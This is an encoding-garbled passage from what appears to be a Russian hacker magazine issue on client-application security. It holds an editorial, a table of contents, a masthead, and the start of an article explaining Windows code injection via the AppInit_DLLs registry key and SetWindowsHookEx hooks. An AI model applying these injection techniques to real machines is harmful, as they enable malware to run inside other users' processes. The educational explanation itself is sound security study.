




Ø
èðîêî ðàñïðîñòðàíåíî ìíåíèå, ÷òî äëÿ âçëîìà êîìïüþòåðíîé ñåòè, îñîáåííî êðóïíîé è ñåêðåòíîé, íóæ-
íî ïðåîäîëåòü ìíîãî ïðåãðàä ñëîæíîé ñèñòåìû áåçîïàñíîñòè, îáîéòè áðàíäìàóýð è ò.ä. Òîëüêî òîãäà
óäàñòñÿ ïðîíèêíóòü â ñâÿòàÿ ñâÿòûõ - ê ñóïåðñåðâåðàì è õðàíèëèùàì ñåêðåòíûõ äàííûõ :). Îäíàêî ñî

âðåìåíåì âûÿñíèëîñü, ÷òî êëèåíòñêèå ïðèëîæåíèÿ � êîìïüþòåðû è ïðîãðàììû ðÿäîâûõ ïîëüçîâàòåëåé, èìåþùèõ
äîñòóï ê èíòåðåñóåìîé ñåòè, � ãîðàçäî óÿçâèìåå, ÷åì ñëîæíûå ñåðâåðíûå ñèñòåìû. Ïîýòîìó ïðîùå âçëîìàòü èõ
("êëèåíòîâ"), à äàëüøå - êîïàòüñÿ â ñåòè èçíóòðè. Âñïîìíèòü õîòÿ áû ñòàðèíó Ìèòíèêà, êîòîðûé â ñâîå âðåìÿ ïîõî-
æèì ñïîñîáîì (ïðàâäà, ïî áîëüøåé ÷àñòè èñïîëüçóÿ ôðèêåðñêèå ïðèåìû è ÷óäåñà ñîöèàëüíîé èíæåíåðèè) ïðîíè-
êàë òóäà, êóäà åìó íå ñäåëîâàëî ñîâàòüñÿ. 

Ñåãîäíÿ, êîãäà ïðîìûøëåííûé øïèîíàæ îáðåòàåò ãðàíäèîçíûå ìàñøòàáû, ñëåäóåò îñîáåííî òùàòåëüíî çàíèìàòü-
ñÿ áåçîïàñíîñòüþ îáû÷íûõ îôèñíûõ êîìïüþòåðîâ: áàíàëüíûé òðîÿí ìîæåò ïðèíåñòè ñîòíè ìèëëèîíîâ óáûòêîâ. Óê-
ðàäåííûå èñõîäíèêè Half-Life 2, Cisco IOS - ïîäòâåðæäåíèÿ òîìó. Ìîæíî ñêàçàòü, ÷òî ñåé÷àñ îõîòà íà "êëèåíòîâ" íà-
õîäèòñÿ íà ñòàäèè áóðíîãî ðàçâèòèÿ. Áåçîïàñíîñòü êëèåíòñêèõ ïðèëîæåíèé ñòàëà íàñòîëüêî àêòóàëüíîé, ÷òî ìû ðå-
øèëè óäåëèòü ýòîé ïðîáëåìå öåëûé íîìåð, äîáàâèâ â êà÷åñòâå ïðèïðàâû áåçîïàñíîñòü ñåòåâûõ è êðèïòîãðàôè÷åñ-
êèõ ïðîòîêîëîâ êàê âàæíåéøèå êîìïîíåíòû ñîâðåìåííûõ êîìïüþòåðíûõ ñèñòåì.

Êîíå÷íî, çàùèòû íà 100% íå áûëî, íåò è íå áóäåò. Òîò æå ÷åëîâå÷åñêèé ôàêòîð íèêóäà íèêîãäà íå äåíåòñÿ. Îäíà-
êî ñòðåìèòüñÿ ìèíèìèçèðîâàòü ðèñêè, äóìàþ, ñòîèò âñåãäà.
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4 Windows íà ñòðàæå
ïîðÿäêà
Çàùèòà îò ïîñÿãàòåëüñòâà íà
íàøè ïðèëîæåíèÿ, èëè ïî÷åìó
îíà íèêîãî íå ïóãàåò

10 Ñîêðóøèòåëüíàÿ
àòàêà
Buffer overflow íà ñëóæáå
âçëîìùèêîâ

16 Êàê ñêðûòîå
ñòàíîâèòñÿ ÿâíûì
Ïðîíèêíîâåíèå â Protected
Storage

18 Èíñòðóêòàæ ïåðåä
áîåì
Îøèáêè êëèåíòñêèõ ïðèëîæåíèé

24 Èçäåâàòåëüñòâî 
íàä îêíàìè
Ýìóëÿöèÿ ââîäà ñ êëàâèàòóðû

28 Ultimate adventure
Ñòðàòåãèÿ ïîèñêà äûð â äâîè÷íîì
êîäå

34 Çàùèòè ñâîè
ïðèëîæåíèÿ
Êàê çàùèòèòüñÿ îò àòàêè íà
ïåðåïîëíåíèå áóôåðà

38 Âñÿ ïðàâäà 
îá àíòèâèðóñàõ
Îáçîð è àíàëèç ñàìûõ
ïîïóëÿðíûõ àíòèâèðóñîâ

44 Æåñòêèé 
òåñò ôàéðâîëîâ
Ïðîâåðèì, êòî æå õóæå âñåõ

48 Èíòåðâüþ ñ Agnitum
Âîïðîñû ðàçðàáîò÷èêàì Outpost
Firewall

50 Stealth patching
ñâîèìè ðóêàìè
Ìàëîèçâåñòíûå ñïîñîáû âçëîìà

56 Ìíåíèå
ïðîôåññèîíàëà
Èíòåðâüþ ñ ÇÀÐÀÇÀ

58 Ïîëîñà ïðåïÿòñòâèé
Ïðåîäîëåíèå ôàéðâîëîâ
ñíàðóæè è èçíóòðè

62 Óòå÷êà äàííûõ
×åðåç ñëóæåáíóþ èíôîðìàöèþ è
ñåòåâîé ïðîòîêîë â êëèåíòñêîì
ïðèëîæåíèè

66 Êàê ðàáîòàåò
áðàíäìàóýð
Ïàêåòíûå ôèëüòðû è ïðîêñè

ÂÇËÎÌ

72 Ñäåëàé 
ýòî áåçîïàñíûì!
Ñîçäàíèå è èññëåäîâàíèå
êðèïòîãðàôè÷åñêèõ ïðîòîêîëîâ

78 Çàáûòûé ïðîòîêîë 
îò AOL
Instant messenger, flooder, brute-
forcer? Ëåãêî!

84 Áåçîïàñíîñòü
ñåòåâûõ ïðîòîêîëîâ
Âçãëÿä ñî ñòîðîíû êëèåíòà

ÇÀÙÈÒÀ

4 Windows íà ñòðàæå
ïîðÿäêà
Çàùèòà îò
ïîñÿãàòåëüñòâà íà
íàøè ïðèëîæåíèÿ,
èëè ïî÷åìó îíà
íèêîãî íå ïóãàåò

88 Îáçîð êíèã
×òî ïîëèñòàòü

90 Îáçîð ñàéòîâ
×òî ïîñìîòðåòü

92 Âèðóñû ïî-æåíñêè
Èíòåðâüþ ñ äåâóøêîé âèðóñíûì
àíàëèòèêîì

96 FAQ
Ïî âçëîìó êëèåíòñêèõ
ïðèëîæåíèé è áåçîïàñíîñòè
ñåòåâûõ ïðîòîêîëîâ
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38 Âñÿ ïðàâäà 
îá àíòèâèðóñàõ
Îáçîð è àíàëèç
ñàìûõ ïîïóëÿðíûõ
àíòèâèðóñîâ

ÊËÈÅÍÒ

ÝÊÑÏÅÐÒ ÍÎÌÅÐÀ

Íåáðåæíî îäåòûé ìûùúõ, 28 ëåò,
íå îáðàùàþùèé âíèìàíèå íè íà
ìèð, íè íà òåëî, â êîòîðîì æèâåò, è
îáèòàþùèé èñêëþ÷èòåëüíî â äåá-
ðÿõ ìàøèííûõ êîäîâ è çàðîñëÿõ
òåõíè÷åñêèõ ñïåöèôèêàöèé. Íå îá-
ùèòåëåí, âåäåò çàìêíóòûé îáðàç
æèçíè õèùíîãî ãðûçóíà, ïðàêòè-
÷åñêè íèêîãäà íå ïîêèäàþùåãî
ñâîþ íîðêó. Îñíîâíàÿ ñïåöèàëè-
çàöèÿ � ðåèíæåíåðèíã (äèçàññåìá-
ëèðîâàíèå), ïîèñê óÿçâèìîñòåé â
ñóùåñòâóþùèõ çàùèòíûõ ìåõàíèç-
ìàõ è ðàçðàáîòêà ñîáñòâåííûõ ñèñ-
òåì çàùèòû. Õàêåðñêèå ìîòèâû
òâîð÷åñòâà íå ñëó÷àéíû è îáúÿñ-
íÿþòñÿ ïî-äåòñêè åñòåñòâåííûì
æåëàíèåì çàãëÿíóòü "ïîä êàïîò"
êîìïüþòåðà è ìàëîñòü ïîòûêàòü
åãî "ëîìîì" è "ìîëîòî÷êîì".

Êðèñ Êàñïåðñêè
aka ìûùúõ



Ðåäàêöèÿ
» ãëàâíûé ðåäàêòîð
Íèêîëàé «AvaLANche» ×åðåïàíîâ
(avalanche@real.xakep.ru)
» âûïóñêàþùèå ðåäàêòîðû
Àëåêñàíäð «Dr.Klouniz» Ëîçîâñêèé
(alexander@real.xakep.ru),
Àíäðåé Êàðîëèê 
(andrusha@real.xakep.ru)
» ðåäàêòîðû
Àøîò Îãàíåñÿí
(ashot@real.xakep.ru),
Íèêîëàé «GorluM» Àíäðååâ
(gorlum@real.xakep.ru)
» ðåäàêòîð CD è ðàçäåëà ÎÔÔÒÎÏÈÊ
Èâàí «SkyWriter» Êàñàòåíêî
(sky@real.xakep.ru)
» ëèòåðàòóðíûé ðåäàêòîð, êîððåêòîð
Âàëåíòèíà Èâàíîâà
(valy@real.xakep.ru)

Art
» àðò-äèðåêòîð 
Êèðèëë «KROt» Ïåòðîâ
(kerel@real.xakep.ru)
Äèçàéí-ñòóäèÿ «100%ÊÏÄ»
» âåðñòàëüùèê
Àëåêñåé Àëåêñååâ
» õóäîæíèê
Êîíñòàíòèí Êîìàðäèí

Ðåêëàìà
» äèðåêòîð ïî ðåêëàìå ÈÄ (game)land
Èãîðü Ïèñêóíîâ (igor@gameland.ru)
» ðóêîâîäèòåëü îòäåëà ðåêëàìû
öèôðîâîé è èãðîâîé ãðóïïû
Îëüãà Áàñîâà (olga@gameland.ru)
» ìåíåäæåðû îòäåëà
Âèêòîðèÿ Êðûìîâà (vika@gameland.ru)
Îëüãà Eìåëüÿíöåâà 
(olgaeml@gameland.ru)
» òðàôèê-ìåíåäæåð
Ìàðüÿ Àëåêñååâà
(alekseeva@gameland.ru)
òåë.:      (095) 935.70.34
ôàêñ:    (095) 780.88.24

PR
» äèðåêòîð ïî PR öèôðîâîé ãðóïïû
Ãëåá Ëàøêîâ
(lashkov@gameland.ru)

Ðàñïðîñòðàíåíèå
» äèðåêòîð îòäåëà 
äèñòðèáóöèè è ìàðêåòèíãà
Âëàäèìèð Ñìèðíîâ 
(vladimir@gameland.ru)
» îïòîâîå ðàñïðîñòðàíåíèå
Àíäðåé Ñòåïàíîâ 
(andrey@gameland.ru)
» ðåãèîíàëüíîå ðîçíè÷íîå
ðàñïðîñòðàíåíèå
Àíäðåé Íàñåäêèí
(nasedkin@gameland.ru)
» ïîäïèñêà
Àëåêñåé Ïîïîâ
(popov@gameland.ru)
òåë.:      (095) 935.70.34
ôàêñ:    (095) 780.88.24

PUBLISHING
» èçäàòåëü
Ñåðãåé Ïîêðîâñêèé
(pokrovsky@gameland.ru)
» ó÷ðåäèòåëü
ÎÎÎ «Ãåéì Ëýíä»
» äèðåêòîð
Äìèòðèé Àãàðóíîâ 
(dmitri@gameland.ru)
» ôèíàíñîâûé äèðåêòîð
Áîðèñ Ñêâîðöîâ 
(boris@gameland.ru)

Ãîðÿ÷àÿ ëèíèÿ ïî
ïîäïèñêå
òåë.: 8 (800) 200.3.999
Áåñïëàòíî äëÿ çâîíÿùèõ èç Ðîññèè

Äëÿ ïèñåì
101000, Ìîñêâà,
Ãëàâïî÷òàìò, à/ÿ 652, Õàêåð Ñïåö

Web-Site
http://www.xakep.ru

E-mail
spec@real.xakep.ru 

Ìíåíèå ðåäàêöèè íå âñåãäà ñîâïàäàåò 
ñ ìíåíèåì àâòîðîâ. Âñå ìàòåðèàëû 
ýòîãî íîìåðà ïðåäñòàâëÿþò ñîáîé ëèøü
èíôîðìàöèþ ê ðàçìûøëåíèþ. Ðåäàêöèÿ íå
íåñåò îòâåòñòâåííîñòè çà íåçàêîííûå
äåéñòâèÿ, ñîâåðøåííûå ñ åå èñïîëüçîâàíèåì,
è âîçìîæíûé ïðè÷èíåííûé óùåðá.
Çà ïåðåïå÷àòêó íàøèõ ìàòåðèàëîâ 
áåç ñïðîñà - ïðåñëåäóåì.

Îòïå÷àòàíî â òèïîãðàôèè  «ScanWeb»,
Ôèíëÿíäèÿ

Çàðåãèñòðèðîâàíî â Ìèíèñòåðñòâå 
Ðîññèéñêîé Ôåäåðàöèè 
ïî äåëàì ïå÷àòè, òåëåðàäèîâåùàíèþ 
è ñðåäñòâàì ìàññîâûõ êîììóíèêàöèé 
ÏÈ ¹ 77-12014 îò 4 ìàðòà 2002 ã.

Òèðàæ 42 000 ýêçåìïëÿðîâ. 
Öåíà äîãîâîðíàÿ.

»

ÎÔÔÒÎÏÈÊ

CÎÔÒ
104 NoNaMe
Ñàìûé âêóñíûé ñîôò

HARD
106 Ôîòèêè äëÿ...
Íåáî! Ìîðå! Îòäûõ!

111 Áûòü ïåðâûì
MSI NX 7800GTX

112 Ïàÿëüíèê
Òàéìåð ñ "âîëøåáíîé"
ëàìïî÷êîé

ÑREW
116 E-ìûëî
Ïèøèòå ïèñüìà

STORY
118 Æèçíü ïðåêðàñíà

ÍÀRD

106 ÔÎÒÈÊÈ ÄËß...
Íåáî! Ìîðå! Îòäûõ!

ÊËÈÅÍÒ

44 Æåñòêèé òåñò
ôàéðâîëîâ
Ïðîâåðèì, êòî æå
õóæå âñåõ



îëüöà ring 1 è ring 2 â Windows
NT íå èñïîëüçóþòñÿ. Ring 0 �
ýòî ñàìîå ìîùíîå êîëüöî. Â
íåì ðàáîòàåò ÿäðî ñèñòåìû è
äðàéâåðû. Ïðèâèëåãèðîâàí-

íûå êîìàíäû è ââîä-ââîä äëÿ òðåòüåãî êîëü-
öà çàïðåùåíû, äëÿ âçàèìîäåéñòâèÿ ñ àïïà-
ðàòíîé ÷àñòüþ êîìïüþòåðà âûçûâàþòñÿ ñèñ-
òåìíûå ñåðâèñû ÿäðà ÎÑ, êîòîðûå îôîðìëå-
íû êàê øëþçû. Ïðè âûçîâå òàêîãî øëþçà
ïðîöåññ ïåðåõîäèò â íóëåâîå êîëüöî, è òàì
ÿäðî ÎÑ è äðàéâåðû îáðàáàòûâàþò çàïðîñ è
âîçâðàùàþò ðåçóëüòàòû ïðèëîæåíèþ. Ïîñëå
ïåðåõîäà â íóëåâîå êîëüöî ïðèëîæåíèå íå
ìîæåò êàê-ëèáî êîíòðîëèðîâàòü ñâîå èñïîë-
íåíèå, ïîêà óïðàâëåíèå íå áóäåò âîçâðàùå-
íî êîäó òðåòüåãî êîëüöà. Ýòî íåîáõîäèìîå
óñëîâèå çàùèòû, îíî îáåñïå÷èâàåò áåçîïàñ-
íîñòü âñåé ñèñòåìû.

Ïîëó÷èâ ïðèâèëåãèè íóëåâîãî êîëüöà, ìû,
ïî ñóòè, ñòàíîâèìñÿ íà ýòîé ìàøèíå áîãàìè.
Îäíàêî â ñîâðåìåííûõ ÎÑ ïðîíèêíóòü íà
ýòîò óðîâåíü çàùèòû î÷åíü òðóäíî.

Êîëüöà çàùèòû ñóùåñòâîâàëè è â "äåâÿò-
êàõ", íî Windows ÷àñòî ïàäàëà èç-çà âñÿ÷åñ-
êèõ ãëþêîâ â ïðèëîæåíèÿõ. Ýòà ïðîáëåìà áû-
ëà ðåøåíà ïîñëå ñîçäàíèÿ âèðòóàëüíîãî àä-
ðåñíîãî ïðîñòðàíñòâà, êîòîðîå ó êàæäîãî
ïðîöåññà ñâîå. Áëàãîäàðÿ òàêîìó ðåøåíèþ
óñòîé÷èâîñòü ñèñòåìû ê ñáîÿì çíà÷èòåëüíî
ïîâûñèëàñü. Âìåñòå ñ íåé ïîäíÿëñÿ è óðî-
âåíü çàùèòû îò âñÿ÷åñêèõ âðåäîíîñíûõ

ïðîãðàìì. Ðàññìîòðèì ïîäðîáíåå ýòî ÷óäî-
èçîáðåòåíèå.

Êàæäûé âíîâü ñîçäàííûé ïðîöåññ ïîëó÷à-
åò â ñâîå ðàñïîðÿæåíèå 4 Ãá ïàìÿòè. Òàì
ðàñïîëàãàåòñÿ ñàì êîä ïðîãðàììû, îòîáðàæà-
þòñÿ ïîäãðóæåííûå áèáëèîòåêè, â òîì ÷èñëå
ñèñòåìíûå. Íèêàêîé äðóãîé ïðîöåññ íå ìî-
æåò ïîëó÷èòü äîñòóï ê äàííûì è ïðîöåäóðàì,
íàõîäÿùèìñÿ â ÷óæîì àäðåñíîì ïðîñòðàí-
ñòâå. Â ðåçóëüòàòå ïðèëîæåíèå íå ìîæåò ïå-
ðåçàïèñàòü æèçíåííî âàæíûå ñòðóêòóðû
äðóãèõ ïðîãðàìì, âûïîëíÿþùèõñÿ îäíîâðå-
ìåííî ñ íèì.

Âñå ýòî ñèëüíî îãðàíè÷èâàåò íàñ â âîçìîæ-
íîñòÿõ è, ñ äðóãîé ñòîðîíû, çàùèùàåò. Íî
ñòîïðîöåíòíîé çàùèòû íå áûâàåò. Ñåé÷àñ ÿ
ïðîäåìîíñòðèðóþ, êàê ìîæíî âòîðãíóòüñÿ â
÷óæîå àäðåñíîå ïðîñòðàíñòâî è èñïîëüçî-
âàòü çàêîííîãî âëàäåëüöà ýòîãî ïðîñòðàí-
ñòâà â ñâîèõ öåëÿõ. Áîëåå òîãî, ïðè ïðîÿâëå-
íèè íåêîòîðîé ñìåêàëêè ìîæíî áóäåò äîãà-
äàòüñÿ, êàê ìîæíî ïîëó÷èòü äîñòóï ê íåêîòî-
ðûì ôóíêöèÿì ÿäðà. Èòàê, íà÷íåì ñ òîãî, êàê
âíåäðèòü ñâîé êîä â ïîñòîðîííèé ïðîöåññ.

ÂÍÅÄÐÅÍÈÅ DLL
Ñ ÈÑÏÎËÜÇÎÂÀÍÈÅÌ ÐÅÅÑÒÐÀ

Íàâåðíîå, êàæäûé, äàæå íåïðîäâèíóòûé
ïîëüçîâàòåëü èç ÷èñëà íàøèõ áðàòüåâ ìåíü-
øèõ :) çíàåò, ÷òî òàêîå ðååñòð, äëÿ ÷åãî îí
íóæåí è ÷òî â íåì ìîæíî òðîãàòü, à ÷òî íåëü-
çÿ. Íî íå êàæäûé äîãàäûâàåòñÿ î òîì, ÷òî ñ

Ê

Deeoni$ (arustamovv2000@mail.ru; ICQ 982-622)

Ã ëàâíûì êîìïîíåíòîì "îáîðîíû" ÎÑ Windows ÿâëÿþòñÿ ÷åòûðå êîëüöà
çàùèòû. Â ring 3 ðàáîòàþò âñå ïðèëîæåíèÿ, çàïóùåííûå ïîëüçîâàòåëÿìè

(â òîì ÷èñëå è àäìèíèñòðàòîðàìè). Îòñþäà ìû èìååì äîñòóï ëèøü ê ñòàíäàðò-
íûì ôóíêöèÿì, ðàçðåøåííûì äëÿ èñïîëüçîâàíèÿ íàïðÿìóþ â ïðîãðàììàõ. 
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4 Windows íà ñòðàæå
ïîðÿäêà
Çàùèòà îò ïîñÿãàòåëüñòâà íà íàøè
ïðèëîæåíèÿ, èëè ïî÷åìó îíà íèêîãî
íå ïóãàåò

10 Ñîêðóøèòåëüíàÿ àòàêà
Buffer overflow íà ñëóæáå
âçëîìùèêîâ

16 Êàê ñêðûòîå ñòàíîâèòñÿ
ÿâíûì
Ïðîíèêíîâåíèå â Protected Storage

Content:
Î

Ñ

WINDOWS ÍÀ ÑÒÐÀÆÅ ÏÎÐßÄÊÀ4 ÎÑ

WWiinnddoowwss 9955 WWiinnddoowwss NNTT

0xFFFFFFFF -
0xC0000000

Ñèñòåìíàÿ îáëàñòü (1 Ãá). Êîä
îïåðàöèîííîé ñèñòåìû. Äîñòóïíà âñåì
ïðîöåññàì äëÿ ÷òåíèÿ\çàïèñè (íî ëó÷øå
ýòîãî íå äåëàòü)

2 
Ãá

Ñèñòåìíàÿ îáëàñòü (2 Ãá).
Ïðåäàíçàí÷åííà äëÿ
îïåðàöèîííîé ñèñòåìû

0xFFFFFFFF -
0x80000000

0xBFFFFFFF -
0x80000000

Ñèñòåìíàÿ îáëàñòü (1 Ãá). Ïðåäíàçíà÷åíà
äëÿ ðàçìåùåíèÿ îáúåêòîâ, ðàçäåëÿåìûõ
ìåæäó ïðîöåññàìè

0õ7FFFFFFF -
0x00400000

×àñòíàÿ ñîáñòâåííîñòü ïðîöåññà (~2 Ãá).
Îáëàñòü äîñòóïíà äëÿ ÷òåíèÿ\çàïèñè

2 
Ãá

×àñòíàÿ ñîáñòâåííîñòü
ïðîöåññà (64 Êá). Îáëàñòü äëÿ
âûÿâëåíèÿ óêàçàòåëåé ñ
íåïðàâèëüíûìè çíà÷åíèÿìè.
Íåäîñòóïíà

0x7FFFFFFF -
0x7FFF0000

0x003FFFFF -
0x00010000

×àñòíàÿ ñîáñòâåííîñòü ïðîöåññà (~4 Ìá).
Îáëàñòü ïðåäíàçíà÷åííà äëÿ ðàçìåùåíèÿ
ñòðóêòóð, òðåáóåìûõ DOS. Äîñòóïíà äëÿ
÷òåíèÿ\çàïèñè (íî ëó÷øå ýòîãî íå äåëàòü)

×àñòíàÿ ñîáñòâåííîñòü
ïðîöåññà (~2 Ãá). Îáëàñòü
äîñòóïíà äëÿ ÷òåíèÿ\çàïèñè

0x7FFEFFFF -
0x00010000

0x0000FFFF -
0x00000000

×àñòíàÿ ñîáñòâåííîñòü ïðîöåññà (64 Êá).
Îáëàñòü ïðåäíàçíà÷åíà äëÿ
èñïîëüçîâàíèÿ DOS. Íåäîñòóïíà äëÿ
çàïèñè.

×àñòíàÿ ñîáñòâåííîñòü
ïðîöåññà (64 Êá). Îáëàñòü äëÿ
âûÿâëåíèÿ ïóñòûõ óêàçàòåëåé.
Âñåãäà ñâîáîäíà

0x0000FFFF -
0x00000000



ïîìîùüþ ýòîé õèòðîé øòóêè ìîæíî
çàñòàâèòü ïðàêòè÷åñêè ëþáîå ïðèëî-
æåíèå âûïîëíÿòü òâîé êîä, � âîñïîëü-
çóåìñÿ ïàðàìåòðîì ðååñòðà:

HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows_NT\CurrentVersion\Windows\AppI
mt_DLLs

Çíà÷åíèåì ïàðàìåòðà AppInit_DLLs
ìîæåò áûòü êàê èìÿ îäíîé DLL (ñ óêà-
çàíèåì ïóòè äîñòóïà), òàê è èìåíà íåñ-
êîëüêèõ DLL, ðàçäåëåííûõ ïðîáåëàìè
èëè çàïÿòûìè. Òàê êàê ïðîáåë èñïîëü-
çóåòñÿ çäåñü â êà÷åñòâå ðàçäåëèòåëÿ,
â èìåíàõ ôàéëîâ íå äîëæíî áûòü
ïðîáåëîâ. Ñèñòåìà ñ÷èòûâàåò ïóòü
òîëüêî ïåðâîé DLL â ñïèñêå: ïóòè îñ-
òàëüíûõ DLL èãíîðèðóþòñÿ, ïîýòîìó
ëó÷øå ðàçìåòàòü ñâîè DLL â ñèñòåì-
íîì êàòàëîãå Windows, ÷òîáû íå óêà-
çûâàòü ïóòè. Íà ðèñ. 2 ïîêàçàíî, ÷òî
ìû õîòèì âíåäðèòü êîä SuperDLL.dll.

Ïðè ñëåäóþùåé ïåðåçàãðóçêå
êîìïüþòåðà Windows ñîõðàíèò çíà÷å-
íèå ýòîãî ïàðàìåòðà. Äàëåå, êîãäà
User32.dll áóäåò ñïðîåöèðîâàí íà àä-
ðåñíîå ïðîñòðàíñòâî ïðîöåññà, ýòîò
ìîäóëü ïîëó÷èò óâåäîìëåíèå
DLL_PROCESS_ATTACH è ïîñëå åãî
îáðàáîòêè âûçîâåò LoadLibrary äëÿ
âñåõ DLL, óêàçàííûõ çíà÷åíèåì
AppInit_DLLs. Â ìîìåíò çàãðóçêè êàæ-
äàÿ DLL èíèöèàëèçèðóåòñÿ âûçîâîì
åå ôóíêöèè DLLMain ñ ïàðàìåòðîì
fwdReason, ðàâíûì
DLL_PROCESS_ATTACH.

Ýòî ïðîñòåéøèé ñïîñîá âíåäðåíèÿ
DLL. Íàì íå íàäî äåëàòü íè÷åãî, êðîìå
êàê çàïóñòèòü regedit.exe è ïîäðåäàê-
òèðîâàòü ñîîòâåòñòâóþùèé êëþ÷èê.
Íî ó ýòîãî ñïîñîáà åñòü ñâîè íåäîñòàò-
êè, è îíè äîâîëüíî ñóùåñòâåííû.

Âî-ïåðâûõ, íàïèñàííàÿ â ïîòó è êðî-
âè dll ïðîåöèðóåòñÿ íà àäðåñíûå
ïðîñòðàíñòâà òîëüêî òåõ ïðîöåññîâ,
íà êîòîðûå ñïðîåöèðîâàí ìîäóëü

User32.dll. Åãî, êàê èçâåñòíî, èñïîëü-
çóþò âñå GUI-ïðèëîæåíèÿ, íî â áîëü-
øèíñòâå êîíñîëüíûõ ïðîãðàìì ýòà
áèáëèîòåêà íè ê ÷åìó. Èç ýòîãî âûòå-
êàåò ïåðâûé íåäîñòàòîê: êîä ìîæíî
âíåäðèòü òîëüêî â ïðèëîæåíèÿ ñ ãðà-
ôè÷åñêèì èíòåðôåéñîì.

Âî-âòîðûõ, DLL áóäåò ïðîåöèðîâàòü-
ñÿ íà àäðåñíûå ïðîñòðàíñòâà âñåõ çà-
ïóùåííûõ GUI-ïðîöåññîâ. ×åì áîëü-
øå ïðèëîæåíèé "ïîäîìíåò" ïîä ñåáÿ
òâîé êîä, òåì âåðîÿòíåå òî, ÷òî êòî-íè-
áóäü ãäå-íèáóäü ïîâèñíåò èëè âûëå-
òèò. Äðóãèìè ñëîâàìè, çíà÷èòåëüíî
ïîâûøàåòñÿ ðèñê íåïðåäâèäåííûõ
îøèáîê.

Â-òðåòüèõ, âíåäðåííûå èíñòðóêöèè
îáû÷íî íóæíû íå íà âñåì ïðîòÿæå-
íèè ðàáîòû ïðîöåññà. Ïîñëå òîãî êàê
DLL ñäåëàåò ñâîå äåëî, òåáå çàõî÷åò-
ñÿ ïîñêîðåå óáðàòü åå èç ïàìÿòè. Íî -
íå âûéäåò. Ïîýòîìó ïåðåéäåì ê ñëåäó-
þùåìó ñïîñîáó, áîëåå ïðîäâèíóòîìó.

ÂÍÅÄÐÅÍÈÅ DLL Ñ ÏÎÌÎÙÜÞ
ËÎÂÓØÅÊ

Âñå íåäîñòàòêè, ïåðå÷èñëåííûå
íåìíîãî âûøå, ñòàíîâÿòñÿ íåàêòóàëü-
íû, åñëè äëÿ âíåäðåíèÿ dll èñïîëüçî-
âàòü õóêè (ëîâóøêè). Õóê ìîæíî ïîñ-
òàâèòü èñïîëüçóÿ ñëåäóþùóþ API-
ôóíêöèþ:

HHOOK SetWindowsHookEx(int idHook,
HOOKPROC lpfn, HINSTANCE hMod, DWORD
dwThreadId);

Ïåðâûì ïàðàìåòðîì ýòîé ôóíêöèè
ÿâëÿåòñÿ òèï óñòàíàâëèâàåìîãî õóêà.
Íàïðèìåð, idHook ìîæåò áûòü ðàâåí
WH_GETMESSAGE. Ýòà ðàçíîâèäíîñòü
ëîâóøêè ñðàáàòûâàåò ïðè ãåíåðèðî-
âàíèè ïðîöåññîì êàêîãî-ëèáî ñîîá-
ùåíèÿ. Ïàðàìåòð lpfn � ýòî óêàçàòåëü
íà ïðîöåäóðó (â àäðåñíîì ïðîñòðàí-
ñòâå íàøåãî ïðîöåññà), êîòîðóþ ñèñ-
òåìà äîëæíà âûçûâàòü âñÿêèé ðàç
ïðè ñðàáàòûâàíèå õóêà, òî åñòü ïðè
îáðàáîòêå îêíîì ñîîáùåíèÿ. hMod
èäåíòèôèöèðóåò DLL, ñîäåðæàùóþ
ôóíêöèþ, íà êîòîðóþ óêàçûâàåò lpfn.
Â Windows çíà÷åíèå hMod äëÿ DLL
ôàêòè÷åñêè çàäàñò àäðåñ âèðòóàëü-
íîé ïàìÿòè, ïî êîòîðîìó DLL ñïðîåöè-
ðîâàíà íà àäðåñíîå ïðîñòðàíñòâî.
Ïîñëåäíåå çíà÷åíèå, ïåðåäàâàåìîå
SetWindowsHookEx, óêàçûâàåò ïîòîê,
äëÿ êîòîðîãî ïðåäíàçíà÷åíà ëîâóø-
êà. Ïåðåäàâàÿ 0, ìû ñîîáùàåì ñèñòå-
ìå, ÷òî ñòàâèì õóê äëÿ âñåõ ñóùåñòâó-
þùèõ â íåé GUI-ïðîöåññîâ. Â ñëó÷àå
óäà÷íîãî âûïîëíåíèÿ ôóíêöèÿ âåð-
íåò õýíäë íà õóê-ïðîöåäóðó. Â ïðîòèâ-
íîì ñëó÷àå áóäåò NULL.

Òåïåðü ðàññìîòðèì ýòî ïîäðîáíåå.
Äîïóñòèì, ó íàñ åñòü ïðîöåññ A, ïîñ-
òàâèâøèé õóê WH_GETMESSAGE è
íàáëþäàþùèé çà ñîîáùåíèÿìè, êîòî-
ðûå îáðàáàòûâàþòñÿ îêíàìè â ñèñòå-
ìå. Ïîòîê ïðîöåññà B ñîáèðàåòñÿ íàï-
ðàâèòü ñîîáùåíèå êàêîìó-ëèáî îêíó.
Ñèñòåìà ïðîâåðÿåò, íå óñòàíîâëåíà
ëè äëÿ äàííîãî ïîòîêà ñîîòâåòñòâóþ-
ùàÿ ëîâóøêà, çàòåì âûÿñíÿåò, ñïðîå-
öèðîâàíà ëè DLL, ñîäåðæàùàÿ ôóíê-
öèþ õóêà, íà àäðåñíîå ïðîñòðàíñòâî
ïðîöåññà B. Åñëè óêàçàííàÿ DLL åùå
íå ñïðîåöèðîâàíà, ñèñòåìà îòîáðàæà-
åò åå íà àäðåñíîå ïðîñòðàíñòâî ïðî-
öåññà B è óâåëè÷èâàåò ñ÷åò÷èê áëîêè-
ðîâîê ïðîåêöèè DLL â ïðîöåññå B íà
îäèí. Ïîñëå ýòîãî ÎÑ ïðîâåðÿåò, íå
ñîâïàäàþò ëè çíà÷åíèÿ hMod ýòîé
DLL, îòíîñÿùèåñÿ ê ïðîöåññàì A è B.
Åñëè hMod â îáîèõ ïðîöåññàõ îäèíà-
êîâû, òî è àäðåñ ôóíêöèè õóêà â ýòèõ
ïðîöåññàõ òîæå îäèíàêîâ. Òîãäà ñèñ-
òåìà ìîæåò ïðîñòî âûçâàòü lpfn â àä-
ðåñíîì ïðîñòðàíñòâå ïðîöåññà A. Åñ-
ëè æå hMod îòëè÷àþòñÿ, òî îïðåäåëÿ-
åòñÿ àäðåñ ôóíêöèè â àäðåñíîì
ïðîñòðàíñòâå ïðîöåññà B ïî ôîðìóëå:

lpfn B = hMod B + (lpfn A � hMod A)

Âû÷èòàÿ hMod èç lpfn A, ìû ïîëó÷à-
åì ñìåùåíèå àäðåñà ôóíêöèè ëîâóø-
êè. Äîáàâëÿÿ ýòî ñìåùåíèå ê hMod B,
áóäåì èìåòü àäðåñ lpfn, ñîîòâåòñòâóþ-
ùèé ïðîåêöèè DLL â àäðåñíîì ïðîñò-
